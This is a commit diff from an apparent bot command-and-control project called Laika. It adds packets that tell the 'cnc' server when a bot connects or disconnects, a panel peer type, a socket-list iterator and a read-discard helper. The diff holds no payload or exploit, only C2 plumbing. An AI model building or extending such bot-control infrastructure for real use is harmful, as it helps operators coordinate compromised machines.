1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 12:40:04 +00:00

Added panel-specific packets

- laikaP_iterList for iterating over pollList
- laikaS_consumeRead for throwing away padding or otherwise unneeded bytes
	in the socket's inbuffer
- incremented minor version
This commit is contained in:
CPunch 2022-02-10 16:56:40 -06:00
parent a6bd244431
commit 49a992c70a
9 changed files with 48 additions and 8 deletions

View File

@ -13,7 +13,7 @@ endif ()
# version details
set(LAIKA_VERSION_MAJOR 0)
set(LAIKA_VERSION_MINOR 0)
set(LAIKA_VERSION_MINOR 1)
project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})

View File

@ -3,7 +3,7 @@
/* version info */
#define LAIKA_VERSION_MAJOR 0
#define LAIKA_VERSION_MINOR 0
#define LAIKA_VERSION_MINOR 1
/* keys */
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"

View File

@ -23,21 +23,21 @@
arguments are ignored.
*/
#ifndef DEBUG
#define LAIKA_ERROR(...) { \
#define LAIKA_ERROR(...) do { \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
}
} while(0);
#define LAIKA_WARN(...)
#else
#define LAIKA_ERROR(...) { \
#define LAIKA_ERROR(...) do { \
printf("[ERROR] : " __VA_ARGS__); \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
}
} while(0);
#define LAIKA_WARN(...) \
printf("[WARN] : " __VA_ARGS__);

View File

@ -31,6 +31,15 @@ enum {
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_ADD_BOT, /* notification that a bot has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_BOT
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* -- reserved info later (machine info including hostname, OS, machineType, ip, etc.)
*/
LAIKAPKT_AUTHENTICATED_RMV_BOT, /* notification that a bot has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_BOT
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
*/
//LAIKAPKT_VARPKT_REQ,
/* layout of LAIKAPKT_VARPKT_REQ:
* uint8_t pktID;

View File

@ -11,7 +11,7 @@ typedef enum {
PEER_UNVERIFIED,
PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */
PEER_AUTH /* authorized peers can send commands to cnc */
PEER_PANEL /* authorized peers can send commands to cnc */
} PEERTYPE;
struct sLaika_peer;
@ -21,7 +21,7 @@ struct sLaika_peer {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
struct sLaika_pollList *pList; /* pollList we're active in */
struct sLaika_pollList *pList; /* pollList we're activeList in */
PeerPktHandler *handlers;
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
void *uData; /* data to be passed to pktHandler */

View File

@ -8,6 +8,8 @@
/* number of pollFDs or epollFDs we expect to start with */
#define POLLSTARTCAP 8
typedef bool (*tLaika_pollIter)(struct sLaika_socket *sock, void *uData);
struct sLaika_pollEvent {
struct sLaika_socket *sock;
bool pollIn;
@ -37,6 +39,7 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData);
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *nevents);

View File

@ -86,6 +86,7 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to por
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from);
bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */

View File

@ -191,3 +191,26 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
/* return revents array */
return pList->revents;
}
struct sWrapperData {
tLaika_pollIter iter;
void *uData;
};
/* wrapper iterator */
bool iterWrapper(const void *rawItem, void *uData) {
struct sWrapperData *data = (struct sWrapperData*)uData;
tLaika_hashMapElem *item = (tLaika_hashMapElem*)rawItem;
return data->iter(item->sock, data->uData);
}
void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData) {
struct sWrapperData wrapper;
wrapper.iter = iter;
wrapper.uData = uData;
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
itemWrapper so that it can call it. probably a better way to do this
but w/e lol */
hashmap_scan(pList->sockets, iterWrapper, &wrapper);
}

View File

@ -172,6 +172,10 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
return true;
}
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) {
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
}
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
memcpy(buf, sock->inBuf, sz);
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);